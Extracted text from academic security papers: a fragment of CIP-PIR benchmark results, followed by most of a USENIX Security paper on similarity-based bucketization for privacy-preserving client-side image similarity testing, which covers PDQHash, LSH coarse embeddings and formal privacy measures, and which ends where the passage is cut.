Concretely, the queue size for the (seed, value)-pairs is equal
to the database size if |Q| ≈

√
|DB|.

Storage and Delays. In Table 3, we show the queue sizes,
the offline computation time, as well as the min., max., and
avg. delays of CIP-PIR. We use three clients who in paral-
lel flood the CIP-PIR servers with 1, 10, and 100 queries to
simulate simultaneous queries. The min./max./avg. delay is
the smallest/highest/average time a client has to wait until she
obtains the desired PIR block. The offline computation time
is the total time for filling the server’s empty preprocessing
queue Q with |Q| =10 000 entries. The total storage is the

sum of the database size |DB| and the queue size |Q|.
As already observed in Table 2, the queue size grows sub-

linearly with the database size, which we can also observe
in Table 3. While the difference between the queue size of
a 0.8 GB and 4 GB (5× larger) database is 174 MB, the
difference between the 4 GB and 8 GB (only 2× larger)
database is just 125 MB. For the largest database of 8 GB, the
queue size |Q|=89 427 is equal to the database size.

The offline computation time grows linearly with the
database size (cf. Table 2), which we can approximately also
see in Table 3. A CIP-PIR server needs ≈ 34 minutes to
precompute 10 000 pairs (200 ms per pair) in the offline com-
putation for the largest database of 8 GB.

Our CIP-PIR implementation processes incoming queries
sequentially in a “first-come first-serve" manner. Thus, the
delay time until a client obtains a block highly depends on the
number of simultaneous queries as shown in Table 3. For the
8 GB database, the delay for a single query is just 176 ms, but
for 10 simultaneous queries the average delay time is 737 ms
and for 100 queries it is 8 500 ms. Hence, the performance of
our PIR scheme depends on the database size and the number
of active users. Note that our servers just use the computation
power of one machine. Thomas et al. [48] deploy their GPC
tool with Google Cloud Functions, which scales with the
number of incoming queries. Integrating our protocol in their
system or optimizing our implementation for hardware-based
parallelization would yield better average delay times.
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Abstract
Social media and other platforms rely on automated de-

tection of abusive content to help combat disinformation, ha-
rassment, and abuse. One common approach is to check user
content for similarity against a server-side database of prob-
lematic items. However, this method fundamentally endangers
user privacy. Instead, we target client-side detection, notifying
only the users when such matches occur to warn them against
abusive content.

Our solution is based on privacy-preserving similarity test-
ing. Existing approaches rely on expensive cryptographic
protocols that do not scale well to large databases and may
sacrifice the correctness of the matching. To contend with this
challenge, we propose and formalize the concept of similarity-
based bucketization (SBB). With SBB, a client reveals a small
amount of information to a database-holding server so that it
can generate a bucket of potentially similar items. The bucket
is small enough for efficient application of privacy-preserving
protocols for similarity. To analyze the privacy risk of the re-
vealed information, we introduce a framework for measuring
an adversary’s confidence in inferring a predicate about the
client input correctly. We develop a practical SBB protocol for
image content, and evaluate its client privacy guarantee with
real-world social media data. We then combine SBB with
various similarity protocols, showing that the combination
with SBB provides a speedup of at least 29× on large-scale
databases compared to that without, while retaining correct-
ness of over 95%.

1 Introduction

Faced with various policy-violating activities ranging from
disinformation [59] to harassment [21, 34, 48] and abuse [10,
73], social media companies increasingly rely on automated
algorithms to detect deleterious content. One widely used
approach is to check that user content is not too similar to
known-bad content. For example, to detect child sexual abuse
imagery [10], some platforms utilize similarity hashing ap-

proaches like PhotoDNA [51] or PDQHash [1]. These ap-
proaches map user-shared images into unique representations
that encode perceptual structure, enabling quick comparisons
against a database of hash values. Such approaches could be
helpful for combating other forms of bad content, such as the
viral spread of visual misinformation on end-to-end encrypted
messaging services [59]. For example, they could augment
other efforts to provide users with important context about
shared content [5, 16].

Currently deployed approaches rely on sending user con-
tent or a similarity hash of the content to a moderation ser-
vice. This risks user privacy. As we detail in the body, the
service can easily match a submitted similarity hash against
known images to learn the content of a user’s image with
overwhelming confidence. Privacy can be improved utilizing
cryptographic two-party computation (2PC) [42, 77] tech-
niques to only reveal matching content to the moderation
service and nothing more. The recent CSAM image detec-
tion system proposed by Apple [3] goes one step further and
notifies the platform only when the number of matching im-
ages surpasses a certain threshold. Automated notification
of platforms necessarily raises concerns about privacy and
accountability (e.g., how to ensure the system is not used for
privacy-invasive search for benign images).

An alternative approach is to have only the client learn the
output of similarity checks, to enable client-side notifications,
warning or otherwise informing users. This may not be suit-
able for all classes of abusive content, such as CSAM, where
the recipient may be adversarial, but could be useful for other
abuse categories (misinformation, harassment, etc.). However,
the scale of databases makes it prohibitive both to send the
known-bad hashes to the client or, should hashes be sensitive,
apply 2PC techniques to ensure as little as possible about
the database leaks to clients. For an example of the latter,
Kulshrestha and Mayer’s [42] private approximate member-
ship computation (PAMC) protocol achieves state-of-the-art
performance, but nevertheless requires about 27 seconds to
perform a similarity check against a database with one million
images. The protocol also has an average false negative rate of

USENIX Association 31st USENIX Security Symposium    1777



almost 17% for slightly transformed images, meaning many
similar images may be erroneously marked as dissimilar.

In this work, we target client-side detection, in order to
warn users against abusive content. To this end, we explore
the question of how to scale privacy-preserving image simi-
larity protocols, while preserving correctness of the similarity
testing. We introduce and formalize the concept of similarity-
based bucketization (SBB). The idea is to reveal a small
amount of structured information in a message to a database-
holding server, so that it can determine a bucket of possibly
relevant database entries. Ideally the bucket consists of only
a small fraction of the full database, enabling use of a sub-
sequent similarity testing protocol on the bucket to perform
the final similarity check. We explore instantiating the testing
protocol in a variety of ways.

The key technical challenge facing SBB is balancing the
competing goals of minimizing bucket size (efficiency) with
leaking as little information as possible (privacy). For ex-
ample, one could modify a standard similarity hash, say
PDQHash, to provide only very coarse comparisons. But as
we will show, this still leaks a lot of information to the server,
allowing high-confidence attacks that can associate the coarse
hash to the specific content of a client request. More broadly
we need a framework for navigating this tension.

We propose such a framework. It formalizes information
leakage using a game-based definition. To be specific, an
adversarial server attempts to learn, from an SBB message
generated for some image drawn from an adversary-known
distribution, a predicate about the underlying image. As an
important running example, we use a “matching predicate”
that checks if the underlying image has the same perceptual
hash value as that of a known target image. Unlike in more
traditional cryptographic definitions (e.g., [30]), we do not re-
quire the adversarial server to have negligible success (which
would preclude efficiency) and instead offer a range of mea-
sures including accuracy improvement over baseline guessing,
adversarial precision, and adversarial area under the receiver
operating characteristic curve (AUC). Indeed, there is no one-
size-fits-all approach to measuring privacy damage, and our
framework allows one to more broadly assess risks.

We offer a concrete SBB mechanism that increases adver-
sarial uncertainty compared to naive approaches. It converts
any similarity hash that uses Hamming distance to a privacy-
preserving coarse embedding; we focus on PDQHash because
it is widely supported. We combine techniques from locality-
sensitive hashing [29] with lightweight noise mechanisms.
The ultimate algorithm is conveniently simple: apply a stan-
dard PDQHash to an image, choose a designated number d
of bit indices randomly, flip each selected bit with probabil-
ity γ, and then send the resulting d bits and their indices to
the server. An image in the server’s database is included in a
bucket should k or fewer of the relevant d bits of its PDQHash
mismatch with those that are sent from the client.

Using real-world social media data, we empirically assess

correctness, efficiency and privacy under various definitions.
We explore various settings of d, γ, and k, and show that it
is possible to ensure average bucket sizes of 9.3% of the
database, while: (1) ensuring that the similar images are in-
cluded in the bucket at least 95% of the time, and (2) an
optimal adversary for the matching predicate achieves less
than 50% precision, signifying low confidence in matching
attacks. We caution that these empirical results are dataset-
dependent, and may not generalize to every potential use case.
Instead they can be interpreted as a proof-of-concept that SBB
works in a realistic scenario.

We then combine our SBB mechanism with various sim-
ilarity protocols, with different privacy guarantees for the
server’s content. For the expedient approach of downloading
the bucket of server PDQHash values and performing compar-
isons on the client side, SBB provides a speedup of 29× or
more. A full similarity check requires less than 0.5 seconds
for a database of 223 images. We also explore using SBB
to speed up an ad hoc similarity protocol based on secure
sketches [20], as well as 2PC protocols implemented in the
EMP [72] and CrypTen [41] frameworks. Our experiments
indicate that SBB can provide speed-ups of 601×, 97×, and
67×, respectively, and often enables use of 2PC that would
fail otherwise due to the size of the database.

We conclude by discussing various limitations of our re-
sults, and open questions that future work should answer be-
fore deployment in practice. Nevertheless, we expect that our
SBB approach will be useful in a variety of contexts. En-
crypted messaging apps could use it to help warn users about
malicious content, with significantly better privacy than ap-
proaches that send plaintext data to third-party servers [5, 16].
In another setting, social media platforms that currently query
their users’ plaintext data to third-party services to help iden-
tify abuse (e.g., [26, 69]) could use our techniques to improve
privacy for their users. To facilitate future research, our proto-
type implementation is publicly available.1

2 Background and Existing Approaches

In this section, we provide some background about a key mo-
tivating setting: providing client-side detection of bad content
in end-to-end (E2E) encrypted messaging. That said, our ap-
proaches are more general and we discuss other deployment
scenarios in the extended version [35].

Content detection and end-to-end encryption. Content
moderation aims to mitigate abuse on social media platforms,
and can include content removal, content warnings, block-
ing users, and more. Most moderation approaches rely on
detecting objectionable content, particularly at scale where
automated techniques seem to be requisite. Social media com-
panies often maintain large databases of known adversarial
content [10, 51] and compare a client message with items in

1https://github.com/vegetable68/sbb
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the databases to see if the message is sufficiently similar to
some piece of adversarial content. However, this approach
requires the client to reveal plaintext message content, which
stands in tension with privacy-preserving technologies like
E2E encryption. On the other hand, leaving contents unmoder-
ated on the platform is unsatisfactory given the harms caused
by abusive content such as misinformation, child sexual abuse
material (CSAM), harassment, and more.

Governments2 and non-governmental organizations3 have
for many years emphasized the need for technical innovations
that could enable law enforcement access to encrypted data,
while minimizing risks of privacy violation [2, 23, 63]. How-
ever, security experts have repeatedly expressed concern that
such ‘backdoor’ access would fundamentally break the pri-
vacy of E2E encryption [18,40,52,57] or, if it provided content
blocking functionality, enable problematic censorship [57].

In this work, we target mitigations that allow privacy-
preserving client-side detection of content similar to known
bad content. We focus on images, as discussed below. Our
protocol is agnostic to how client software uses this detection
capability, but we believe that client software should be de-
signed to empower users with information and the ability to
make their own decisions about content.

Our techniques may be useful, for example, to mitigate
the increasing use of E2E encrypted messaging for harmful
disinformation campaigns [32, 59]. A widely discussed ap-
proach is to warn users against known disinformation. Recent
research [39] has shown that when carefully designed, such
warnings are effective in guiding user behaviors to avoid dis-
information. Our work provides a technical solution for the
client-side warning mechanism. To be specific, the proposed
system queries whether a client’s received content is similar
to known disinformation and returns the answer only to the
client. Such a design avoids both outright censorship and no-
tifying platform operators that a particular client received a
particular piece of content. This solution would enable the
kinds of user-initiated known content detection approaches
that have been suggested recently [11, 49], and could help
complement existing anti-abuse techniques that do not con-
sider content, such as those used in WhatsApp [74].

But warning-style approaches that inform and empower
users may not be suitable for threats like CSAM, where the
recipients of messages can themselves be bad actors. Here
client software would seemingly have to limit user choice, au-
tomatically blocking detected content and/or notifying some
authority about it. Recent designs for CSAM mitigations in-
clude the Kulshrestha-Mayer protocol [42] (when used to
notify the platform) and the CSAM detection proposal by
Apple [3]. Cryptographers have, in turn, raised the alarm that,
while efforts to combat CSAM are laudable, these platform-
notifying systems represent a potential E2E encryption back-
door that is subject to misuse by platform operators or govern-

2https://www.justice.gov/opa/press-release/file/1207081
3https://www.missingkids.org/e2ee

ments [31, 50] and that future work is needed to make such
systems transparent and accountable. Our work is different, as
we target client-side notification and not platform notification.

Another concern is that even client-side notification ends
up a stepping stone towards riskier backdoor/censorship mech-
anisms, because once the former is deployed it will be easier
to deploy, or justify deploying, the latter. Client-side function-
ality at least provides the opportunity for activists and others
to detect changes to client-side software and understand their
effects, adding some transparency and accountability. At the
same time, arguments for, or against, various anti-abuse mech-
anisms would do well to delineate between approaches that
empower users to understand and control their online expe-
rience (warnings, the ability to select users/content to block)
and that disempower users (client-side or platform-side auto-
matic censorship). We believe our techniques will be useful
for the former, without intrinsically promoting the latter.

Client-side similarity testing and privacy. As mentioned
above, we focus on private image similarity testing services.
These allow a client, who receives some value w on an E2E
encrypted platform, to submit a request to a service provider
holding a database B; the response indicates to the client
whether w is similar to any item in B. As the database B
may be quite large, we need scalable solutions. The service
provider could be the messaging platform, or a third party
service. In the case when the provider is a third party service,
the protocol runs between the client and the testing service,
without involvement of platform servers.

A key concern will be the privacy risk imposed on clients
by a testing service. Our threat model consists of an adversary
in control of the service’s servers, who wants to learn infor-
mation about a client’s image w by inspecting messages sent
to the service in the course of similarity testing. This is often
referred to as a semi-honest adversary, though our approaches
will meaningfully resist some types of malicious adversaries
that deviate from the prescribed protocol. In terms of privacy
threat, we primarily focus on what we call a matching attack,
in which the adversary wishes to accurately check whether
w matches some adversarially chosen image (see Section 4
for a formalization). A matching attack enables, for exam-
ple, adversarial service operators to monitor whether clients
received any image on an adversarially chosen watchlist.

In this initial work we primarily focus on the risks against
a single query from the client, and explicitly do not consider
adversaries that just want to recover partial plaintext infor-
mation, such as if the adversary wants to infer if an image
contains a person or not. While we believe our results also
improve privacy for such attacks, we do not offer evidence
either way and future work will be needed to explore such
threats. We also do not consider misbehaving servers that
seek to undermine correctness, e.g., by modifying B to force
clients to erroneously flag innocuous images. How to build
accountability mechanisms for this setting is an interesting
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open question. We simulate the scenarios of adversaries that
somehow can take advantage of known correlations between
queried images in the extended version [35] and propose po-
tential mitigation solutions in Section 7.

Nevertheless there are already several challenges facing
developing a service that prevents accurate matching attacks
in our setting. While prior work has established practical pro-
tocols for private set membership [43, 70], these only provide
exact equality checks. Even small manipulations such as im-
age re-sampling, minor cropping, or format conversion make
exact matching schemes fail. Second, the database B can be
arbitrarily large and may require frequent update. For instance,
the published dataset from Twitter with activities of accounts
associated to the Russian Internet Research Agency consist
of 2 million images in total [28].

Existing approaches. We review deployed systems and
suggested designs for image similarity testing.

Plaintext services. Most current deployments have the
client upload their image to a third party service. A prominent
example is the PhotoDNA service. After a client submits an
image to the service, it immediately hashes the image using
a proprietary algorithm [51]. Importantly, the hash can be
compared to other hashes of images in a way that measures
similarity of the original images. Such hashes are often called
similarity hashes [15,54] or perceptual hashes [78]. (We show
examples later.) The original image that was sent to the ser-
vice is deleted after hashing. This plaintext design has various
benefits, including simplicity for clients and the ability to
hide the details of the hashing used. The latter is important in
contexts where malicious users attempt to modify an image
w ∈ B in the service’s bad list to create an image w′ that will
not be found as similar to any image in B (including w) [76].

Another example of a plaintext service is WhatsApp’s in-
app reverse search function to combat visual misinforma-
tion [5], rolled out in June 2020. This feature allows users to
submit their images to Google reverse image search for the
source or context of a specific image. In this case, the user
needs to reveal their image to both Google and WhatsApp,
sacrificing user privacy.

Hashing-based services. For privacy-aware clients, reveal-
ing plaintext images represents a significant privacy risk. An
alternative approach is to use a public hashing algorithm, have
the client first hash their image, and submit only the resulting
representation to the similarity checking service. While this
requires making the hashing algorithm available to clients
(and, potentially, adversarial users), it improves privacy be-
cause the original images are not revealed to the service. It
also improves performance: hashes can be compact (e.g., 256
bits) and compared against a large database B in sublinear
time [53]. This approach is used by Facebook’s ThreatEx-
change [26] service that allows organizations to share hashes
of images across trust boundaries. They use a custom similar-
ity hash called PDQHash [1].

Sharing hashes, however, still has privacy risk. For example,
although the lossy process of PDQHash generation makes
recovering the exact input impossible in general, revealing
the hash allows inferring whether a queried value is similar
to another image. An adversary at the service provider’s side
may brute-force search a database of images to find ones close
to the queried value.

Cryptography-based services. An alternative approach that
preserves privacy is to employ a secure 2PC protocol [77]
between the client and service. Existing 2PC protocols for
similarity matching (e.g., [7, 13, 37]) can, in the best case,
ensure that no information about the client’s image is leaked
to the server and that nothing about B (beyond whether it
contains a similar image) leaks to the client. However, existing
2PC protocols do not efficiently scale to large databases B.

Recent work by Kulshrestha and Mayer [42] proposed pri-
vate approximate membership computation (PAMC) to allow
similarity testing of images encoded as PDQHashes. The
protocol begins by splitting the database B into buckets. Us-
ing private information retrieval, a client retrieves a bucket
from the server with the bucket identifier generated from the
PDQHash of their image. The chosen bucket is not disclosed
to the server. The two parties then perform a private similarity
test to determine whether the client PDQHash has sufficiently
small Hamming distance to any image in the bucket. The
protocol is still rather expensive, with their initial experiments
requiring 37.2 seconds for a one-time set up and 27.5 seconds
for a query for a block list with the size of 220. These times
exclude network delays (measurements were performed with
client and server on the same workstation). While a step closer
to practicality, this remains prohibitive particularly since we
expect that performance in deployment would be worse for
lightweight client hardware such as mobile phones.

Concurrent work by Apple [3] proposed a protocol that
encodes images from a user’s cloud storage into perceptual
hashes. The perceptual hashing algorithm maps similar im-
ages into identical hashes with high probability. The protocol
then performs private set intersection between the encoded
hashes and a database of known CSAM images. The private
contents are revealed to the platform only when the number of
matches exceeds a certain threshold. Whether such a protocol,
designed for CSAM detection, is fit for client-side detection
remains a question for future work to explore.

In summary, all three existing design approaches for image
similarity testing — revealing images as client requests, using
similarity representations like PDQHash as client requests,
and employing secure 2PC protocols — do not provide satis-
fying solutions. The first two designs do not provide sufficient
privacy, while 2PC designs are currently not sufficiently effi-
cient. Thus we need a new approach to similarity testing.
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Client(w)

p $←− Emb(w)
p

Server(B)

B← Sim(p,B)

Similarity protocolw B

Figure 1: Two-stage framework for using similarity-based
bucketization to determine if an image w is similar to one in
an image dataset B.

3 Similarity-Based Bucketization

To enable efficient, privacy-preserving client-side similarity
testing, we take inspiration from previous work that used
bucketization to support efficient private set membership test-
ing [43, 70]. These will, however, not work for image similar-
ity testing. We therefore introduce a new two-step framework,
as shown in Figure 1. It first enables scaling by utilizing what
we call similarity-based bucketization (SBB) to gather a sub-
set B⊆ B, called a bucket, of possibly relevant images. The
second step is to perform a similarity testing protocol over the
bucket; we explore how SBB can provide scaling improve-
ments for several different similarity testing protocols. In this
section we introduce coarse embeddings, which allow crude
similarity comparisons, rather than the granular ones that reg-
ular similarity hashes provide. A summary of the notation we
use throughout this paper appears in Table 1. For simplicity,
we refer to the similarity testing server as the server.

Formalizing SBB. We formalize embeddings first. A simi-
larity embedding method is a function F : W →{0,1}` for
the space of images W and where ` is a parameterizable
length. Some embeddings map images to R` (or a suitably
granular approximation of it), but we focus on bit strings un-
less explicitly mentioned otherwise. Associated with F is a
distance measure ∆ : {0,1}`×{0,1}`→ Z. We focus on ∆

being Hamming distance. Most often one sets an application-
dependent threshold T as the definition of similarity, and
builds F so that matches with distance values smaller than T
indicate the images depicted are perceptually similar.

An example F is the aforementioned PDQHash [1].
PDQHash was designed to capture the “syntactic” similarity
between images. Syntactic similarity captures if two images
are essentially the same, e.g., the same image but of different
quality, or rotated slightly. This is different from semantic
similarity, which focuses on whether images share the same
features, e.g., the same person. Algorithms designed for syn-
tactic similarity also include PhotoDNA [51] and pHash [78].
PDQHash first converts a given image w from RGB to lumi-
nance, then uses two-pass Jarosz filters to compute a weighted
average of 64×64 subblocks of the luminance image. Given
the 64× 64 downsample, the algorithm computes a two-

Symbol Description

w / W an image / set of all images
B set of images held by server
D distribution from which images are sampled

` length of similarity embedding
F similarity embedding method
v / Y result of similarity embedding / set of all such results
∆ distance function between two similarity embeddings
T distance threshold for similarity matching using ∆

DF distribution of similarity embeddings induced by F

Emb coarse embedding algorithm
Sim coarse embedding similarity algorithm
p an output of Emb
d length of p
B candidate bucket generated from Sim

γ parameter of ELSH , flipping bias
k coarse threshold of Sim

Table 1: Notation frequently used in this paper.

dimenstional discrete cosine transform (DCT), and keeps only
the first 16 slots in both X and Y directions. After that, each
entry of the 16×16 DCT output is transformed into a binary
bit after being compared to the median, with 1 indicating
larger than the median and 0 indicating otherwise.

Coarse embedding schemes. To allow bucketization via
similarity, we define a coarse embedding scheme E =
(Emb,Sim,(W,∆W)), as a pair of algorithms and an asso-
ciated metric space. The (possibly randomized) embedding
algorithm Emb(w) takes as input a value w ∈W and outputs
a value p ∈ {0,1}d . Here d is a configurable parameter. We
call p the embedding of w, or simply the embedding when w
is clear from context. The deterministic algorithm Sim(p,w′)
takes as input p ∈ {0,1}d and w′ ∈W and outputs a bit. The
bit being one indicates that the embedding of w′ is similar to
the embedding of w, which is denoted as p. It will be con-
venient to abuse notation, by letting Sim(p,B) be defined to
output the set {w′ | w′ ∈ B∧Sim(p,w′) = 1}.

One idea for a coarse embedding scheme would be to sim-
ply use F directly, but with smaller ` and smaller T . To be
specific, using PDQHash as an example, a coarse PDQHash
scheme EcPDQ = (EmbcPDQ,SimcPDQ,(W,∆W)) can be im-
plemented as follows: EmbcPDQ(w) computes the hash of w
on the first 4×4 slots of the DCT output, rather than 16×16
of the output, producing a 16-bit binary string. The 16-bit
value can then provide much cruder similarity comparison.
Then SimcPDQ(p,B) iterates over all w′ ∈B, hashes them, and
returns those with distance smaller than a coarse threshold k
as a bucket B. Unfortunately this scheme doesn’t meet our
privacy goals, as we will explore in detail in Section 5.

Correctness and compression efficiency. We define ∆W
via an existing similarity embedding F , i.e., ∆W(w,w′) =
∆(F(w),F(w′)). We say that a coarse embedding scheme
is (T,ε,D)-correct if, for an image w sampled from D, a
distribution overW , and for any w′ such that ∆W(w,w′)< T ,

USENIX Association 31st USENIX Security Symposium    1781



we have that Pr [Sim(Emb(w),w′) = 1] ≥ 1− ε, where the
probability is taken over the random coins used by Emb and
the choice of w from D. A trivial coarse embedding scheme
is to just use F itself, which would be (T,0,D)-correct for
any T and D. But as mentioned, doing this will not provide
the desired privacy.

Another type of trivial coarse embedding scheme is to
have Sim always output one. Then Emb could output a fixed
constant value regardless of input, meaning nothing leaks
about w. This would also be (T,0,D) correct for arbitrary T
and any given D, but won’t be useful because, in our SBB
application, the bucket would end up being the entire set B.

We define a compression efficiency metric as follows. A
coarse embedding scheme is (B,α,D)-compressing if for a
distribution D overW ,B ⊆W , w drawn from D we have that
E
[
|B|
|B|

]
≤ α where B = {w′ | w′ ∈ B,Sim(Emb(w),w′) = 1}

and the probability space is over the choice of w from D and
the coins used by Emb. This measures the average ratio of
bucket size to dataset size.

LSH-based coarse embedding. We propose a coarse em-
bedding scheme that is based on locality sensitive hash-
ing (LSH) [29]. An LSH function family allows approxi-
mate nearest neighbour search with high-dimensional data.
Formally, the scheme ELSH = (EmbLSH ,SimLSH ,(W,∆W))
is defined as follows (see also Figure 2). Let I be a family of
hash functions that maps points from a high-dimensional in-
put space I into a hash universe U of lower dimension. When
I= {0,1}` and ∆ is Hamming distance, the construction of
an LSH function family is intuitive. For an `-bit string v, we
denote the individual bits as v1, . . . ,v`. An indexing function
is a map I : {0,1}` → {0,1} and we let I be the set of all
index functions, which is the LSH function family.

In our context, we randomize the selection of LSH func-
tions for every individual query, and add noise to ensure pri-
vacy. EmbLSH takes an image w as input, and computes the
similarity embedding of it via v←F(w). In our implemen-
tation, we use PDQHash for F . Our protocol works on other
types of embedding functions that use Hamming distance as
a metric, such as pHash [78]. We sample d bits from v by
sampling d LSH functions without replacement and flip each
bit with probability γ. The resulting embedding with added
noise and the indices are shared with the server. The server
performs SimLSH by comparing the received bits to the cor-
responding bits of F(wi) for each wi ∈ B, adding wi to the
bucket B if sufficiently many of these bits match.

To formalize this, we abuse notation slightly. We denote
I as a map {0,1}`→ {0,1}d , a combination of d functions
sampled uniformly from I without replacement. Similarly,
one can easily encode an indexing function as a set of indexes;
we treat I both as a function and its encoding. We let Flipγ be
the randomized algorithm that takes as input a bit string p and
outputs p̃ of the same length, setting p̃i = pi with probability
1− γ and p̃i = ¬pi with probability γ. The full algorithms

EmbLSH(w)

v←F(w)
I←$ I
p←$ Flipγ(I(v))
Return (I, p)

SimLSH((I, p),B)
B←{}
For w ∈ B:

If ∆(p, I(F(w)))≤ k then
B← B∪{w}

Return B

Figure 2: Coarse embedding scheme ELSH .

for ELSH are shown in Figure 2. We use a threshold k for
the Hamming distance over the randomly selected indexes.
We formally analyze correctness of ELSH in the extended
version [35]. Different choices of the parameter sets of ELSH ,
i.e., embedding length d, flipping bias γ, and coarse thresholds
k result in different combination of privacy loss, correctness,
and bucket compression rate. We further explore this trade-off
in Section 5.

One limitation of ELSH arises should an adversary be able
to collect many queries that it knows are for the same image.
Eventually it will see all bit locations, and even have enough
samples to average out the noise (e.g., via a majority vote for
each bit location). We discuss this further in Section 7.

Similarity protocols. A coarse embedding scheme will
not suffice to perform a full similarity check. Instead, we
compose such a scheme to perform SBB with a similar-
ity protocol where the server uses the resulting bucket
B←$ Sim(Emb(w),B). The composition achieves privacy
levels related to the protocol’s for B, and correctness pro-
portional to the product of the coarse embedding and the
protocol’s correctness. We discuss some examples and their
properties here. These examples ensure perfect correctness,
hence the correctness of the composition depends solely on
that of the coarse embedding. In Section 5.4, we show that
for various similarity protocols, both runtime efficiency and
bandwidth are largely improved when combined with SBB.

Similarity embedding retrieval. A pragmatic similarity
protocol has the server send to the client the similarity embed-
dings of all the elements in the bucket, i.e., send v1, . . . ,v|B|
where vi = F(wi) for each wi ∈ B. The client can then com-
pute F(w) and compare against each vi. This approach re-
duces the confidentiality for the server’s dataset, since now
clients learn all the similarity embeddings in B that fall into
the bucket. It may also reduce resistance to evasion attacks,
but in contexts where client privacy is paramount this simple
protocol already improves on existing approaches.

Secure-sketch similarity protocol. We can improve server
confidentiality via a secure-sketch-based [20] similarity pro-
tocol. The protocol ensures that the client can only learn the
similarity hashes that are close to a client-known value. If
images in the database have sufficiently high min-entropy
then the secure sketch ensures that the client cannot learn it.
This assumption may not always hold (most obviously in the
case that the client has a similar image), in which case confi-
dentiality falls back to that achieved by similarity embedding
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retrieval. We defer details to the extended version [35].
2PC similarity protocols. Finally, one may compose SBB

with an appropriate 2PC for similarity comparisons. Such an
approach provides better confidentiality for B, but at the cost
of larger bandwidth and execution time. We experiment with
two frameworks: CrypTen [41] and EMP [72]. CrypTen is a
secret-sharing-based semi-honest MPC framework for Python
that is geared toward machine learning applications. CrypTen
currently relies on a trusted third party for certain operations,
including generating Beaver multiplication triples [9]. Gen-
eration of Beaver triples using Pailler [56] is actively under
development. EMP is a circuit-garbling-based generic semi-
honest 2PC framework that is implemented in C++.

Both frameworks above target semi-honest security. One
could also compose SBB with a maliciously secure 2PC pro-
tocol, with caveat that a malicious server is not bound to
correctly execute the SBB Sim algorithm and so could devi-
ate by adding arbitrary values to the bucket. In our context,
such an attack can anyway be performed by just modifying
B in the first place, but this could be relevant in future work,
particularly as it relates to accountability mechanisms that
monitor for changes to B.

4 Privacy of Coarse Embeddings

In this section, we detail our framework for reasoning about
privacy threats against coarse embeddings. Our framework is
designed to analyze the adversary’s confidence in assessing
a predicate being true or not, when given one or multiple
client requests as input. Here we only consider client privacy;
privacy of the server’s dataset can be achieved by composing
SBB with a suitable similarity protocol (see Section 3).

Proposed security measures. We consider settings where
an adversary receives the embedding(s) of one or more im-
ages, and wants to infer some predicate over the images. Let
Wq be the Cartesian product of q copies ofW . We denote
tuples of images in bold, w ∈Wq and w[i] ∈W for i ∈ [1,q].
Let Emb(w) be the result of running Emb independently on
each component of w, denoted as p. That is, p←$ Emb(w) is
shorthand for p[i]←$ Emb(w[i]) for i ∈ [1,q].

To start, consider a distribution D overWq and a predicate
f : Wq → {false, true}. We want to understand the ability
of an adversary to infer f (w) when given Emb(w) for w
drawn from Wq according to D. As an example, let q = 1
and have f indicate whether a client image has the same
perceptual hash value with that of another image that is chosen
by the adversary. We’d like to have a guarantee that revealing
Emb(w) doesn’t allow inferring that the images are similar
with high confidence. We refer to a tuple π = (D,Wq, f ) as a
privacy setting.

We provide three measures of adversarial success: accu-
racy, precision, and area under the receiver-operator curve

PREDEmb,π

w←D Wq

p←$ Emb(w)
b←$ A(p)
Return (b = f (w))

AUCEmb,D

for i ∈ {true, false}
wi←Di Wq

pi←$ Emb(wi)

ri←$ Aauc(pi)

Return rtrue > rfalse

Figure 3: Pseudocode games for measuring embedding pri-
vacy. Here f represents a predicate.

(AUC), thereby adapting traditional measures of efficacy for
prediction tasks to our adversarial setting.

Accuracy. Let Aacc be a randomized algorithm, called an
accuracy adversary. We define a probabilistic experiment that
tasks A with inferring f (w) given Emb(w) for w drawn ac-
cording to D. This probability space is over the coins used
to sample w, to run Emb a total of q times, and to run Aacc.
We let “Aacc(Emb(w)) = f (w)” be the event that Aacc out-
puts the correct value of the predicate. We write this as a
pseudocode game PREDE,π shown in Figure 3, where the re-
turned value captures the event that A succeeds. For skewed
distributions, the trivial adversary that ignores its input and
simply predicts the most likely predicate value may achieve
high accuracy. We therefore define the advantage of Aacc as
the improvement over that trivial approach:

εacc =
Pr [Aacc(Emb(w)) = f (w)]− εbase

1− εbase
,

where εbase = max(Pr [ f (w) = 1] ,Pr [ f (w) = 0]).
Precision. For adversaries that are mainly interested in in-

ferring positive instances, f (w) = true, accuracy may appear
misleading in cases with high skew, i.e., when f (w) = false
happens almost always [47]. In our running example, we ex-
pect that in practice most images handled by clients will be
distinct from the adversary-chosen one.

We therefore also provide two other security measures.
First, we measure the precision of a non-trivial adversary in
inferring f (w). By non-trivial, we mean that the adversary
has to predict f (w) = true at least once. We use the same
probability space as in the previous definition. To empha-
size that the best adversary for achieving high precision may
differ from the best one for maximizing accuracy improve-
ment, we use Apre to denote the adversary when considering
precision. We want to measure the probability that Apre suc-
ceeds, conditioned on Apre outputting true. We denote this
by Pr

[
f (w) = true | Apre(Emb(w)) = true

]
. To preventApre

from using the trivial strategy of predicting all events as nega-
tive, we define an affiliate concept of recall r as

r = Pr
[
Apre(Emb(w)) = true | f (w) = true

]
.

We will restrict attention to adversaries Apre for which r ex-
ceeds some threshold, e.g., r > 0%. We let

ε
r>ρ
prec = Pr

[
f (w) = true | Apre(Emb(w)) = true

]
denote the precision advantage for some adversary Apre that
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achieves r > ρ, with the exception of ρ = 100%, where the
restriction is set as r = 100%.

AUC. Precision captures the adversary’s confidence in pre-
dicting the positive class, i.e., the likelihood of f (w) being
true when the adversary predicts it to be true. However, it
does not capture the adversary’s confidence regarding predict-
ing the negative class. We therefore finally formalize a notion
of AUC, where recall that AUC is the area under the receiver-
operator curve, a popular measure of classifier efficacy. At
a high level, AUC-ROC indicates the classifier’s capability
in differentiating positive classes from negative ones. For a
setting π = (D,Bq, f ), let Di be the distribution D overWq

conditioned on f (w) = i for i ∈ {true, false}. Then for an
adversary Aauc that outputs a real value in [0,1] we measure
the probability that Aauc(Emb(wtrue)) > Aauc(Emb(wfalse))
where wi is drawn from Bq according to Di. The probability
is over the independent choices of wtrue and wfalse, as well
as the coins used by the 2q executions of Emb and two exe-
cutions of Aauc. We provide a pseudocode game AUCEmb,π
describing this probability space in Figure 3. Then we define
the advantage of an AUC adversary Aauc by

εauc = 2 ·Pr [Aauc(Emb(wtrue))>Aauc(Emb(wfalse))]−1 .

This formulation uses a well-known fact [4, 17] about AUC
that it is equal to the probability that a scoring algorithm (in
our case, the adversary) ranks positive-class instances higher
than negative-class instances. For simplicity, we ignore ties
(Aauc outputting the same value in each case). Without loss of
generality, we can assume that the AUC adversary Aauc wins
